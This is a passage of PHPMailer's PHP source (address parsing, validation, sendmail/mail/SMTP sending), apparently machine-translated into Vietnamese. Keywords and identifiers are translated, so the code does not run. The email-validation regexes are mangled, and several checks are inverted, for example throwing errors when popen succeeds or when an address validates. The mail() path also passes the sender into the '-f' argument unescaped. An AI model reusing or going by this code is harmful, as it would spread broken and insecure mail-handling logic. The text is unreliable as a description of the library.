- / **
- * Phân tích cú pháp và kiểm tra hợp lệ một chuỗi chứa một hoặc nhiều địa chỉ email bằng dấu phẩy RFC822
- * của mẫu "hiển thị tên <address>" vào một mảng của cặp tên / địa chỉ.
- * Sử dụng chức năng imap_rfc822_parse_adrlist nếu tiện ích mở rộng IMAP có sẵn.
- * Lưu ý rằng phần trích dẫn trong phần tên bị xóa.
- * @param string $ addrstr Liệt kê danh sách địa chỉ
- * @param bool $ useimap Cho dù sử dụng phần mở rộng IMAP để phân tích danh sách
- * mảng trả về
- * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php Thực hiện cẩn thận hơn
- * /
- các hàm công khai parseAddresses ($ addrstr, $ useimap = true)
- {
- $ address = array ();
- if ($ useimap và function_exists ('imap_rfc822_parse_adrlist')) {
- // Sử dụng bộ phân tích cú pháp được xây dựng sẵn này nếu có
- $ list = imap_rfc822_parse_adrlist ($ addrstr, '');
- foreach ($ list as $ address) {
- if ($ address-> host! = '.SYNTAX-ERROR.') {
- if ($ this-> validateAddress ($ address-> mailbox. '@'. $ address-> host)) {
- $ địa chỉ [] = mảng (
- 'name' => (property_exists ($ address, 'personal')? $ address-> personal: ''),
- 'address' => $ address-> hộp thư. '@'. $ address-> host
- );
- }
- }
- }
- } else {
- // Sử dụng bộ phân tích cú pháp đơn giản này
- $ list = explode (',', $ addrstr);
- foreach ($ list as $ address) {
- $ address = trim ($ address);
- // Có một phần tên riêng không?
- if (strpos ($ address, '<') === false) {
- / / Không có tên riêng biệt, chỉ cần sử dụng toàn bộ điều
- if ($ this-> validateAddress ($ address)) {
- $ địa chỉ [] = mảng (
- 'name' => '',
- địa chỉ '=> $ địa chỉ
- );
- }
- } else {
- danh sách ($ tên, $ email) = nổ ('<', $ địa chỉ);
- $ email = trim (str_replace ('>', '', $ email));
- if ($ this-> validateAddress ($ email)) {
- $ địa chỉ [] = mảng (
- 'name' => trim (str_replace (array ('' ',' '"),' ', $ name)),
- 'địa chỉ' => $ email
- );
- }
- }
- }
- }
- địa chỉ trả lại $;
- }
- / **
- * Thiết lập thuộc tính From và FromName.
- * @param string $ address
- * @param string $ name
- * @param boolean $ auto Cho dù bạn cũng đặt địa chỉ Sender, mặc định là true
- * @throws phpmailerException
- * @ boolean trở lại
- * /
- hàm công cộng setFrom ($ address, $ name = '', $ auto = true)
- {
- $ address = trim ($ address);
- $ name = trim (preg_replace ('/ [\ r \ n] + /', '', $ name)); / / Nghỉ giải lao và cắt
- // Không xác nhận địa chỉ hiện tại với IDN. Sẽ được thực hiện trong send ().
- if (($ pos = strrpos ($ address, '@')) === sai hoặc
- ($ this-> has8bitChars (substr ($ address, ++ $ pos)) hoặc! $ this-> idnSupported ()) và
- ! $ this-> validateAddress ($ address)) {
- $ error_message = $ this-> lang ('invalid_address'). $ địa chỉ;
- $ this-> setError ($ error_message);
- $ this-> edebug ($ error_message);
- if ($ this-> exceptions) {
- ném phpmailerException mới ($ error_message);
- }
- trả lại giả;
- }
- $ this-> From = $ address;
- $ this-> FromName = $ name;
- if ($ auto) {
- if (empty ($ this-> Sender)) {
- $ this-> Sender = $ address;
- }
- }
- trở lại đúng;
- }
- / **
- * Trả lại tiêu đề Message-ID của email cuối.
- Về mặt kỹ thuật, đây là giá trị từ lần cuối cùng các tiêu đề được tạo ra,
- * nhưng nó cũng là ID tin nhắn của tin nhắn đã gửi cuối cùng ngoại trừ
- * các trường hợp bệnh lý.
- * chuỗi trả về
- * /
- công chức getLastMessageID ()
- {
- return $ this-> lastMessageID;
- }
- / **
- * Kiểm tra xem một chuỗi trông giống như một địa chỉ email.
- * @param string $ address Địa chỉ email để kiểm tra
- * @param string $ patternselect Lựa chọn cho mẫu xác nhận để sử dụng:
- * * `auto` Chọn mô hình tốt nhất tự động;
- * * `pcre8` Sử dụng mẫu squiloople.com, yêu cầu PCRE> 8.0, PHP> = 5.3.2, 5.2.14;
- * `` pcre` Sử dụng thực hiện cũ PCRE;
- * * `php` Sử dụng PHP được xây dựng trong FILTER_VALIDATE_EMAIL;
- * * `html5` Sử dụng mẫu được cung cấp bởi thông số HTML5 cho các phần tử đầu vào kiểu 'email'.
- * * `noregex` Không sử dụng regex: siêu nhanh, thực sự câm.
- * @ boolean trở lại
- * tĩnh
- * @ truy cập công cộng
- * /
- public static function validateAddress ($ address, $ patternselect = 'auto')
- {
- / / Loại bỏ ngắt dòng trong địa chỉ; nó hợp lệ RFC5322, nhưng không RFC5321
- if (strpos ($ address, "\ n")! == false hoặc strpos ($ address, "\ r")! == false) {
- trả lại giả;
- }
- if ($ patternelect hoặc $ patternselect == 'auto') {
- // Kiểm tra lần đầu tiên hằng này để hoạt động khi mở rộng extension_loaded () bằng chế độ an toàn
- // Constant được thêm vào trong PHP 5.2.4
- if (defined ('PCRE_VERSION')) {
- / / Mô hình này có thể bị mắc kẹt trong một vòng lặp đệ quy trong PCRE <= 8.0.2
- if (version_compare (PCRE_VERSION, '8.0.3')> = 0) {
- $ patternselect = 'pcre8';
- } else {
- $ patternselect = 'pcre';
- }
- } elseif (function_exists ('extension_loaded') và extension_loaded ('pcre')) {
- // Trở về PCRE cũ
- $ patternselect = 'pcre';
- } else {
- // Filter_var xuất hiện trong PHP 5.2.0 và không yêu cầu phần mở rộng của PCRE
- if (version_compare (PHP_VERSION, '5.2.0')> = 0) {
- $ patternselect = 'php';
- } else {
- $ patternselect = 'noregex';
- }
- }
- }
- chuyển đổi ($ patternselect) {
- trường hợp 'pcre8':
- / **
- * Sử dụng regex RFC5322 giống nhau trên FILTER_VALIDATE_EMAIL, nhưng cho phép các tên miền không có dấu chấm.
- * @link http://squiloople.com/2009/12/20/email-address-validation/
- * @copyright 2009-2010 Michael Rushton
- * Vui lòng sử dụng và phân phối lại mã này. Nhưng hãy giữ thông báo bản quyền này.
- * /
- return (boolean) preg_match (
- (? 1)) {255,}) (? (?> (?) () 1) "? (?> \\\ [- ~] | [^"])? (? 1)) {65,} @) '.
- '(\> \ x0D \ x0A)? [\ t]) + | (?> [\ t] * \ x0D \ x0A)? [\ t] +)?) (\ ((?> (? 2) '.
- '(?> [\ x01- \ x08 \ x0B \ x0C \ x0E - \' * - \ [\] - \ x7F] | \\\ [\ x00- \ x7F] | (? 3))) * (? 2) \))) + (? 2)) | (? 2))?) '.
- '\ N "" \ n "" \ n "" \ n "" \ n "" \ n " \ [\] - \ x7F] | \\\ [\ x00- \ x7F])) * '.
- (1) () () () () () () () () () ) (? 1) (?> ([A-z0-9] (?> [A-z0-9 -] * [a-z0-9])? ''.
- (1) [a-z0-9 -] {64,}) (? 1) (? 5)) {0,126} | \ [(? > IPv6: (?> ([A-f0-9] {1,4}) (?> :(?)) {7} '.
- '(8)} ((? 6) (?> :(? 6)) {0,6}) ?: : (7)?)) | (?> (?> IPv6: (?> (? 6) (?> :(? 6)) {5}: '.
- (6) (?): (6)) (0) () () () () , 4}):)?))? (25 [0-5] | 2 [0-4] [0-9] | 1 [0-9] {2} '.
- '(1) $ / isD', (1) $ / isD '
- địa chỉ $
- );
- trường hợp 'pcre':
- / Regex cũ hơn mà không cần một PCRE gần đây
- return (boolean) preg_match (
- '(^> "? (^>"))?) {255,}) (? (?> "? (?> \\\ [ - ~] | [^ "])?) {65,} @) (?> '.
- '\ N "msgstr" "" \ n "" \ n "" \ n "# ~" \ n " \ x7F] | \\\ [\ x00- \ xFF])) * ") '.
- '(?> \. (?> [! # - \' * + \ / - 9 =? ^ - ~ -] + | "(?> [\ X01- \ x08 \ x0B \ x0C \ x0E- ! # * \! \ \ \ \ \ \ \ - \ x7F] | \\\ [\ x00- \ xFF])) * ")) * '.
- (a, z0-9)] [a-z0-9] [a-z0-9] (a- z0-9) )?) (?> \. (? [a-z0-9 -] {64,}) '.
- '[a-z0-9] (?> [a-z0-9] [a-z0-9])?)) {0,126} | \ [(?: (? IPv6: (? > (?> [a-f0-9] {1,4}) (?>: '.
- '[a-f0-9] {1,4}) {7} | (? (?:. * [a-f0-9] [: \]]) {8,}) (?> [a- f0-9] {1,4} (?>: [a-f0-9] {1,4}) {0,6})? ' .
- ':: (?> [a-f0-9] {1,4} (?>: [a-f0-9] {1,4}) {0,6})?)) | (?> (? > IPv6: (?> [A-f0-9] {1,4} (?>: '.
- [a-f0-9] {1,4}) {5}: | (? (?:. * [a-f0-9]:) {6,}) (?> [a-f0-9 ] {1,4} (?>: [A-f0-9] {1,4}) {0,4})? ' .
- ':: (?> (?: [a-f0-9] {1,4} (?>: [a-f0-9] {1,4}) {0,4}) :)?))? (?> 25 [0-5] | 2 [0-4] [0-9] | 1 [0-9] {2} '.
- '[1-9]? [0-9]) (?> \. (?> 25 [0-5] | 2 [0-4] [0-9] | 1 [0-9] {2} | [1-9]? [0-9])) {3})) \]) $ / isD ',
- địa chỉ $
- );
- trường hợp 'html5':
- / **
- * Đây là mẫu được sử dụng trong spec HTML5 để xác nhận hợp lệ các phần tử nhập kiểu hình thức 'email'.
- * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
- * /
- return (boolean) preg_match (
- '/^[a-zA-Z0-9.!#$%&\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ -zA-Z0-9 -] {0,61} '.
- [a-zA-Z0-9])? [a-zA-Z0-9])? [a-zA-Z0-9] -9])?) * $ / SD ',
- địa chỉ $
- );
- trường hợp 'noregex':
- // Không có PCRE! Làm một cái gì đó _very_ gần đúng!
- / / Kiểm tra địa chỉ là 3 ký tự hoặc lâu hơn và chứa một @ đó không phải là char đầu tiên hoặc cuối cùng
- return (strlen ($ address)> = 3
- và strpos ($ address, '@') = = 1
- và strpos ($ address, '@')! = strlen ($ address) - 1);
- trường hợp 'php':
- mặc định:
- return (boolean) filter_var ($ địa chỉ, FILTER_VALIDATE_EMAIL);
- }
- }
- / **
- * Cho biết IDNs (Internationalized Domain Names) được hỗ trợ hay không. Điều này đòi hỏi
- * Phần mở rộng PHP "intl" và "mbstring".
- * @ return bool "true" nếu các chức năng yêu cầu hỗ trợ IDN có mặt
- * /
- chức năng công cộng idnSupported ()
- {
- // @TODO: Viết hàm "idn_to_ascii" cho PHP <= 5.2.
- return function_exists ('idn_to_ascii') và function_exists ('mb_convert_encoding');
- }
- / **
- * Chuyển IDN trong địa chỉ email cho đến dạng ASCII của nó, còn được gọi là punycode, nếu có thể.
- * Quan trọng: Địa chỉ phải được truyền trong cùng mã hóa như hiện đang được đặt trong PHPMailer :: $ CharSet.
- * Chức năng này âm thầm trả về địa chỉ chưa sửa đổi nếu:
- * - Không cần chuyển đổi (ví dụ tên miền không phải là IDN, hoặc đã có ở dạng ASCII)
- * - Chuyển sang punycode là không thể (ví dụ như các chức năng PHP cần thiết không có sẵn)
- * hoặc thất bại vì bất kỳ lý do nào (ví dụ như miền có các ký tự không được phép trong IDN)
- * @see PHPMailer :: $ CharSet
- * @param string $ address Địa chỉ email để chuyển đổi
- * @ return chuỗi Địa chỉ mã hóa dưới dạng ASCII
- * /
- chức năng công cộng punyencodeAddress ($ address)
- {
- // Xác minh rằng chúng tôi đã yêu cầu các chức năng, CharSet và at-sign.
- if ($ this-> idnSupported () và
- trống ($ this-> CharSet) và
- ($ pos = strrpos ($ address, '@'))! == false) {
- $ domain = substr ($ address, ++ $ pos);
- / / Xác minh chuỗi CharSet là một hợp lệ, và tên miền được mã hóa đúng trong CharSet này.
- if ($ this-> has8bitChars ($ domain) và @mb_check_encoding ($ domain, $ this-> CharSet)) {
- $ domain = mb_convert_encoding ($ domain, 'UTF-8', $ this-> CharSet);
- if (($ punycode = defined ('INTL_IDNA_VARIANT_UTS46')?
- idn_to_ascii ($ domain, 0, INTL_IDNA_VARIANT_UTS46):
- idn_to_ascii ($ domain))! == false) {
- return substr ($ address, 0, $ pos). $ punycode;
- }
- }
- }
- địa chỉ trả lại $;
- }
- / **
- * Tạo một tin nhắn và gửi nó.
- Sử dụng phương thức gởi theo $ Mailer.
- * @throws phpmailerException
- * @ return logic boolean sai - Xem thuộc tính ErrorInfo để biết chi tiết về lỗi.
- * /
- chức năng công cộng gửi ()
- {
- thử {
- if (! $ this-> preSend ()) {
- trả lại giả;
- }
- trả lại $ this-> sendSend ();
- } catch (phpmailerException $ exc) {
- $ this-> mailHeader = '';
- $ this-> setError ($ exc-> getMessage ());
- if ($ this-> exceptions) {
- ném $ exc;
- }
- trả lại giả;
- }
- }
- / **
- * Chuẩn bị một tin nhắn để gửi.
- * @throws phpmailerException
- * @ boolean trở lại
- * /
- chức năng công khai PreSend ()
- {
- thử {
- $ this-> error_count = 0; // Đặt lại lỗi
- $ this-> mailHeader = '';
- // Gỡ bỏ người nhận và trả lời địa chỉ với IDN
- foreach (array_merge ($ this-> RecipientsQueue, $ this-> ReplyToQueue) as $ params) {
- $ params [1] = $ this-> punyencodeAddress ($ params [1]);
- call_user_func_array (mảng ($ this, 'addAnAddress'), $ params);
- }
- nếu (đếm ($ this-> to) + count ($ this-> cc) + count ($ this-> bcc)) <1) {
- ném phpmailerException mới ($ this-> lang ('provide_address'), tự :: STOP_CRITICAL);
- }
- // Xác nhận From, Sender và ConfirmReadingTo địa chỉ
- foreach (mảng ('Từ', 'Người gửi', 'ConfirmReadingTo') như $ address_kind) {
- $ this -> $ address_kind = trim ($ this -> $ address_kind);
- if (empty ($ this -> $ address_kind)) {
- tiếp tục;
- }
- $ this -> $ address_kind = $ this-> punyencodeAddress ($ this -> $ address_kind);
- if ($ this-> validateAddress ($ this -> $ address_kind)) {
- $ error_message = $ this-> lang ('invalid_address'). $ this -> $ address_kind;
- $ this-> setError ($ error_message);
- $ this-> edebug ($ error_message);
- if ($ this-> exceptions) {
- ném phpmailerException mới ($ error_message);
- }
- trả lại giả;
- }
- }
- / / Thiết lập cho dù tin nhắn là multipart / alternative
- nếu (trống rỗng ($ this-> AltBody)) {
- $ this-> ContentType = 'multipart / alternative';
- }
- $ this-> setMessageType ();
- // Từ chối gửi tin nhắn rỗng trừ khi chúng tôi đặc biệt cho phép
- if (! $ this-> AllowEmpty và trống rỗng ($ this-> Body)) {
- ném phpmailerException mới ($ this-> lang ('empty_message'), tự :: STOP_CRITICAL);
- }
- / / Tạo cơ thể trước tiêu đề trong trường hợp cơ thể làm thay đổi tiêu đề (ví dụ như thay đổi mã hóa chuyển nhượng)
- $ this-> MIMEHeader = '';
- $ this-> MIMEBody = $ this-> createBody ();
- / / createBody có thể đã thêm một số tiêu đề, vì vậy giữ chúng
- $ tempheaders = $ this-> MIMEHeader;
- $ this-> MIMEHeader = $ this-> createHeader ();
- $ this-> MIMEHeader. = $ tempheaders;
- // Để nắm bắt thông điệp đầy đủ khi sử dụng mail (), tạo
- / / một danh sách các tiêu đề phụ mà createHeader () không gấp lại trong
- if ($ this-> Mailer == 'mail') {
- if (count ($ this-> to)> 0) {
- $ this-> mailHeader. = $ this-> addrAppend ('To', $ this-> to);
- } else {
- $ this-> mailHeader. = $ this-> headerLine ('To', 'unisclosed-recipients:' ');
- }
- $ this-> mailHeader. = $ this-> headerLine (
- 'Môn học',
- $ this-> encodeHeader ($ this-> secureHeader (trim ($ this-> Subject)))
- );
- }
- // Đăng nhập với DKIM nếu được bật
- if (! empty ($ this-> DKIM_domain)
- &&! empty ($ this-> DKIM_private)
- &&! empty ($ this-> DKIM_selector)
- && file_exists ($ this-> DKIM_private)) {
- $ header_dkim = $ this-> DKIM_Add (
- $ this-> MIMEHeader. $ this-> mailHeader,
- $ this-> encodeHeader ($ this-> secureHeader ($ this-> Subject)),
- $ this-> MIMEBody
- );
- $ this-> MIMEHeader = rtrim ($ this-> MIMEHeader, "\ r \ n"). tự :: CRLF.
- str_replace ("\ r \ n", "\ n", $ header_dkim). tự :: CRLF;
- }
- trở lại đúng;
- } catch (phpmailerException $ exc) {
- $ this-> setError ($ exc-> getMessage ());
- if ($ this-> exceptions) {
- ném $ exc;
- }
- trả lại giả;
- }
- }
- hàm công cộng innerBody () {
- }
- / **
- * Trên thực tế gửi tin nhắn.
- * Gửi email qua cơ chế đã chọn
- * @throws phpmailerException
- * @ boolean trở lại
- * /
- chức năng công cộng sendSend ()
- {
- thử {
- / / Chọn mailer và gửi thông qua nó
- chuyển đổi ($ this-> Mailer) {
- trường hợp 'sendmail':
- trường hợp 'qmail':
- return $ this-> sendmailSend ($ this-> MIMEHeader, $ this-> MIMEBody);
- trường hợp 'smtp':
- return $ this-> smtpSend ($ this-> MIMEHeader, $ this-> MIMEBody);
- trường hợp 'thư':
- return $ this-> mailSend ($ this-> MIMEHeader, $ this-> MIMEBody);
- mặc định:
- $ sendMethod = $ this-> Mailer.'Send ';
- if (method_exists ($ this, $ sendMethod)) {
- return $ this -> $ sendMethod ($ this-> MIMEHeader, $ this-> MIMEBody);
- }
- return $ this-> mailSend ($ this-> MIMEHeader, $ this-> MIMEBody);
- }
- } catch (phpmailerException $ exc) {
- $ this-> setError ($ exc-> getMessage ());
- $ this-> edebug ($ exc-> getMessage ());
- if ($ this-> exceptions) {
- ném $ exc;
- }
- }
- trả lại giả;
- }
- / **
- * Gửi thư bằng chương trình $ Sendmail.
- * @param string $ header Các tiêu đề thư
- * @param string $ body Cơ thể thông báo
- * @see PHPMailer :: $ Sendmail
- * @throws phpmailerException
- * @cơ sở bảo vệ
- * @ boolean trở lại
- * /
- chức năng được bảo vệ sendmailSend ($ header, $ body)
- {
- if ($ this-> Sender! = '') {
- if ($ this-> Mailer == 'qmail') {
- $ sendmail = sprintf ('% s -f% s', escapeshellcmd ($ this-> Sendmail), escapeshellarg ($ this-> Sender));
- } else {
- $ sendmail = sprintf ('% s -oi -f% s -t', escapeshellcmd ($ this-> Sendmail), escapeshellarg ($ this-> Sender));
- }
- } else {
- if ($ this-> Mailer == 'qmail') {
- $ sendmail = sprintf ('% s', escapeshellcmd ($ this-> Sendmail));
- } else {
- $ sendmail = sprintf ('% s -oi -t', escapeshellcmd ($ this-> Sendmail));
- }
- }
- if ($ this-> SingleTo) {
- foreach ($ this-> SingleToArray as $ toAddr) {
- if (@ $ mail = popen ($ sendmail, 'w')) {
- ném phpmailerException mới ($ this-> lang ('execute'). $ this-> Sendmail, self :: STOP_CRITICAL);
- }
- fputs ($ mail, 'To:'. $ toAddr. "\ n");
- fputs ($ mail, $ header);
- fputs ($ mail, $ body);
- $ result = pclose ($ mail);
- $ this-> doCallback (
- ($ result == 0),
- mảng ($ toAddr),
- $ this-> cc,
- $ this-> bcc,
- $ this-> Chủ đề,
- $ cơ thể,
- $ this-> From
- );
- if ($ result! = 0) {
- ném phpmailerException mới ($ this-> lang ('execute'). $ this-> Sendmail, self :: STOP_CRITICAL);
- }
- }
- } else {
- if (@ $ mail = popen ($ sendmail, 'w')) {
- ném phpmailerException mới ($ this-> lang ('execute'). $ this-> Sendmail, self :: STOP_CRITICAL);
- }
- fputs ($ mail, $ header);
- fputs ($ mail, $ body);
- $ result = pclose ($ mail);
- $ this-> doCallback (
- ($ result == 0),
- $ this-> to,
- $ this-> cc,
- $ this-> bcc,
- $ this-> Chủ đề,
- $ cơ thể,
- $ this-> From
- );
- if ($ result! = 0) {
- ném phpmailerException mới ($ this-> lang ('execute'). $ this-> Sendmail, self :: STOP_CRITICAL);
- }
- }
- trở lại đúng;
- }
- / **
- * Gửi thư bằng cách sử dụng chức năng PHP mail ().
- * @param string $ header Các tiêu đề thư
- * @param string $ body Cơ thể thông báo
- * @link http://www.php.net/manual/en/book.mail.php
- * @throws phpmailerException
- * @cơ sở bảo vệ
- * @ boolean trở lại
- * /
- bảo vệ mailSend (phần đầu $, $ body)
- {
- $ toArr = array ();
- foreach ($ this-> to as $ toaddr) {
- $ toArr [] = $ this-> addrFormat ($ toaddr);
- }
- $ to = implode (',', $ toArr);
- if (empty ($ this-> Sender)) {
- $ params = '';
- } else {
- $ params = sprintf ('- f% s', $ this-> Sender);
- }
- if ($ this-> Sender! = '' và! ini_get ('safe_mode')) {
- $ old_from = ini_get ('sendmail_from');
- ini_set ('sendmail_from', $ this-> Sender);
- }
- $ result = false;
- if ($ this-> SingleTo && count ($ toArr)> 1) {
- foreach ($ toArr as $ toAddr) {
- $ result = $ this-> mailPassthru ($ toAddr, $ this-> Tiêu đề, $ body, $ header, $ params);
- $ this-> doCallback ($ result, array ($ toAddr), $ this-> cc, $ this-> bcc, $ this-> Subject, $ body, $ this-> From);
- }
- } else {
- $ result = $ this-> mailPassthru ($ tới, $ this-> Tiêu đề, $ body, $ header, $ params);
- $ this-> doCallback ($ result, $ this-> to, $ this-> cc, $ this-> bcc, $ this-> Subject, $ body, $ this-> From);
- }
- if (isset ($ old_from)) {
- ini_set ('sendmail_from', $ old_from);
- }
- if ($ result) {
- ném phpmailerException mới ($ this-> lang ('nhanh chân'), tự :: STOP_CRITICAL);
- }
- trở lại đúng;
- }
- / **
- * Nhận một thể hiện để sử dụng cho các hoạt động SMTP.
- * Ghi đè chức năng này để tải thực hiện SMTP của riêng bạn
- * @ trở về SMTP
- * /
- hàm công cộng getSMTPInstance ()
- {
- if (is_object ($ this-> smtp)) {
- $ this-> smtp = SMTP mới;
- }
- trả lại $ this-> smtp;
- }
- / **
- * Gửi mail qua SMTP.
- * Trả về false nếu có MAIL FROM TỐT, RCPT, hoặc DATA.
- * Sử dụng lớp PHPMailerSMTP theo mặc định.
- * @see PHPMailer :: getSMTPInstance () để sử dụng một lớp học khác.
- * @param string $ header Các tiêu đề thư
- * @param string $ body Cơ thể thông báo
- * @throws phpmailerException
- * @sử dụng SMTP
- * @cơ sở bảo vệ
- * @ boolean trở lại
- * /
- chức năng được bảo vệ smtpSend ($ header, $ body)
- {
- $ bad_rcpt = array ();
- if ($ this-> smtpConnect ($ this-> SMTPOptions)) {
- ném phpmailerException mới ($ this-> lang ('smtp_connect_failed'), tự :: STOP_CRITICAL);
- }
- if ('' == $ this-> Sender) {
- $ smtp_from = $ this-> From;
- } else {
- $ smtp_from = $ this-> Sender;
- }
- if ($ this-> smtp-> mail ($ smtp_from)) {
- $ this-> setError ($ this-> lang ('from_failed'). $ smtp_from. ':'. implode (',', $ this-> smtp-> getError ()));
- ném phpmailerException mới ($ this-> ErrorInfo, tự :: STOP_CRITICAL);
- }
- / / Cố gắng gửi đến tất cả người nhận
- foreach (mảng ($ this-> to, $ this-> cc, $ this-> bcc) as $ togroup) {
- foreach ($ togroup as $ to) {
- if ($ this-> smtp-> recipient ($ to [0])) {
- $ error = $ this-> smtp-> getError ();
- $ bad_rcpt [] = array ('to' => $ đến [0], 'error' => $ lỗi ['detail']);
- $ isSent = false;
- } else {
- $ isSent = true;
- }
- $ this-> doCallback ($ isSent, array ($ to [0]), array (), array (), $ this-> Subject, $ body, $ this-> From);
- }
- }
- // Chỉ gửi lệnh DATA nếu chúng ta có những người nhận khả thi
- if ((count ($ this-> all_recipients)> count ($ bad_rcpt)) và! $ this-> smtp-> data ($ header- $ body)) {
- ném phpmailerException mới ($ this-> lang ('data_not_accepted'), tự :: STOP_CRITICAL);
- }
- if ($ this-> SMTPKeepAlive) {
- $ this-> smtp-> reset ();
- } else {
- $ this-> smtp-> quit ();
- $ this-> smtp-> close ();
- }
- // Tạo thông báo lỗi cho bất kỳ địa chỉ xấu
- if (count ($ bad_rcpt)> 0) {
- $ errstr = '';
- foreach ($ bad_rcpt as $ bad) {
- $ errstr. = $ xấu ['to']. ':'. $ xấu ['error'];
- }
- ném mới phpmailerException (
- $ this-> lang ('recipients_failed'). $ errstr,
- tự :: STOP_CONTINUE
- );
- }
- trở lại đúng;
- }
- / **
- * Bắt đầu một kết nối đến một máy chủ SMTP.
- * Trả về false nếu thao tác thất bại.
- * @param array $ options Một mảng các tùy chọn tương thích với stream_context_create ()
- * @sử dụng SMTP
- * @ truy cập công cộng
- * @throws phpmailerException
- * @ boolean trở lại
- * /
- chức năng công cộng smtpConnect ($ options = array ())
- {
- if (is_null ($ this-> smtp)) {
- $ this-> smtp = $ this-> getSMTPInstance ();
- }
- // Đã kết nối?
- if ($ this-> smtp-> connected ()) {
- trở lại đúng;
- }
- $ this-> smtp-> setTimeout ($ this-> Timeout);
- $ this-> smtp-> setDebugLevel ($ this-> SMTPDebug);
- $ this-> smtp-> setDebugOutput ($ this-> Debugoutput);
- $ this-> smtp-> setVerp ($ this-> do_verp);
- $ hosts = explode (';', $ this-> Host);
- $ lastexception = null;
- foreach ($ host as $ hostentry) {
- $ hostinfo = array ();
- nếu (! preg_match ('/ ^ ((ssl | tls): \ / \ /) * ([a-zA-Z0-9 \ .-] *):? ([0-9] *) $ /', trim ($ hostentry), $ hostinfo)) {
- // Không phải là một mục nhập lưu trữ hợp lệ
- tiếp tục;
- }
- // $ hostinfo [2]: tùy chọn ssl hoặc tls tiền tố
- // $ hostinfo [3]: tên máy chủ lưu trữ
- // $ hostinfo [4]: số cổng tùy chọn
- / / Tiền tố chuỗi máy chủ lưu trữ có thể tạm thời ghi đè lên các thiết lập hiện tại cho SMTPSecure
- / / Nếu nó không được chỉ định, giá trị mặc định sẽ được sử dụng
- tiền tố $ = '';
- $ secure = $ this-> SMTPSecure;
- $ tls = ($ this-> SMTPSecure == 'tls');
- if ('ssl' == $ hostinfo [2] hoặc ('' == $ hostinfo [2] và 'ssl' == $ this-> SMTPSecure)) {
- $ tiền tố = 'ssl: //';
- $ tls = sai; // Không thể có SSL và TLS cùng một lúc
- $ secure = 'ssl';
- } elseif ($ hostinfo [2] == 'tls') {
- $ tls = true;
- // tls không sử dụng tiền tố
- $ secure = 'tls';
- }
- // Liệu chúng ta cần mở rộng OpenSSL?
- $ sslext = được định nghĩa ('OPENSSL_ALGO_SHA1');
- nếu ('tls' === $ an toàn hoặc 'ssl' === $ an toàn) {
- // Kiểm tra hằng số OpenSSL thay vì sử dụng extension_loaded, đôi khi bị vô hiệu hóa
- if ($ sslext) {
- ném phpmailerException mới ($ this-> lang ('extension_missing'). 'openssl', self :: STOP_CRITICAL);
- }
- }
- $ host = $ hostinfo [3];
- $ port = $ this-> Port;
- $ tport = (số nguyên) $ hostinfo [4];
- if ($ tport> 0 and $ tport <65536) {
- $ port = $ tport;
- }
- if ($ this-> smtp-> connect (tiền tố $. $ host, $ port, $ this-> Timeout, $ options)) {
- thử {
- if ($ this-> Helo) {
- $ hello = $ this-> Helo;
- } else {
- $ hello = $ this-> serverHostname ();
- }
- $ this-> smtp-> hello ($ hello);
- // Tự động bật mã hóa TLS nếu:
- // nó không bị vô hiệu
- // chúng tôi đã mở rộng openssl
- // chúng tôi chưa sử dụng SSL
- // * máy chủ cung cấp STARTTLS
- nếu ($ this-> SMTPAutoTLS và $ sslext và $ secure! = 'ssl' và $ this-> smtp-> getServerExt ('STARTTLS')) {
- $ tls = true;
- }
- if ($ tls) {
- if (! $ this-> smtp-> startTLS ()) {
- ném phpmailerException mới ($ this-> lang ('connect_host'));
- }
- / / Chúng ta phải gửi lại HELO sau khi thương lượng tls
- $ this-> smtp-> hello ($ hello);
- }
- if ($ this-> SMTPAuth) {
- if (! $ this-> smtp-> authenticate (
- $ this-> Tên đăng nhập,
- $ this-> Mật khẩu,
- $ this-> AuthType,
- $ this-> Realm,
- $ this-> Workstation
- )
- ) {
- ném phpmailerException mới ($ this-> lang ('authenticate'));
- }
- }
- trở lại đúng;
- } catch (phpmailerException $ exc) {
- $ lastexception = $ exc;
- $ this-> edebug ($ exc-> getMessage ());
- / / Chúng ta phải kết nối, nhưng sau đó TLS hoặc Auth không thành công, do đó, kết nối chặt chẽ độc đáo
- $ this-> smtp-> quit ();
- }
- }
- }
- // Nếu chúng ta đến đây, tất cả các nỗ lực kết nối đã thất bại, vì thế kết nối chặt chẽ
- $ this-> smtp-> close ();
- // Khi chúng tôi đã bắt gặp tất cả các trường hợp ngoại lệ, chỉ cần báo cáo bất kỳ điều gì cuối cùng là
- if ($ this-> exceptions và! is_null ($ lastexception)) {
- ném $ lastexception;
- }
- trả lại giả;
- }
- / **
- * Đóng phiên SMTP đang hoạt động nếu có.
- * trở về trạng thái trống
- * /
- chức năng công cộng smtpClose ()
- {
- if ($ this-> smtp! == null) {
- if ($ this-> smtp-> connected ()) {
- $ this-> smtp-> quit ();
- $ this-> smtp-> close ();
- }
- }
- }
- / **
- * Thiết lập ngôn ngữ cho các thông báo lỗi.
- * Trả về false nếu nó không thể tải tập tin ngôn ngữ.
- * Ngôn ngữ mặc định là tiếng Anh.
- * @param string $ langcode Mã ngôn ngữ mã ISO 639-1 2 ký tự (ví dụ như tiếng Pháp là "fr")
- * @param string $ lang_path Đường dẫn đến thư mục tập tin ngôn ngữ, với dấu tách (dấu gạch chéo)
- * @ boolean trở lại
- * @ truy cập công cộng
- * /
- hàm công cộng setLanguage ($ langcode = 'en', $ lang_path = '')
- {
- / / Xác định đầy đủ các chuỗi dịch được bằng tiếng Anh
- $ PHPMAILER_LANG = mảng (
- 'authenticate' => 'Lỗi SMTP: Không thể xác thực.',
- 'connect_host' => 'Lỗi SMTP: Không thể kết nối đến máy chủ SMTP.',
- 'data_not_accepted' => 'SMTP Error: dữ liệu không được chấp nhận.',
- 'empty_message' => 'Thông điệp trống rỗng'
- 'encoding' => 'Unknown encoding:',
- 'execute' => 'Không thể thực thi:',
- 'file_access' => 'Không thể truy cập file:',
- 'file_open' => 'Lỗi tệp: Không thể mở tệp:',
- 'from_failed' => 'Địa chỉ From sau thất bại:',
- 'instantiate' => 'Không thể khởi tạo chức năng thư.',
- 'invalid_address' => 'Địa chỉ không hợp lệ:',
- 'mailer_not_supported' => 'mailer không được hỗ trợ.',
- 'provide_address' => 'Bạn phải cung cấp ít nhất một địa chỉ email người nhận.',
- 'recipients_failed' => 'SMTP Error: Những người nhận sau thất bại:',
- 'signed' => 'Signing Error:',
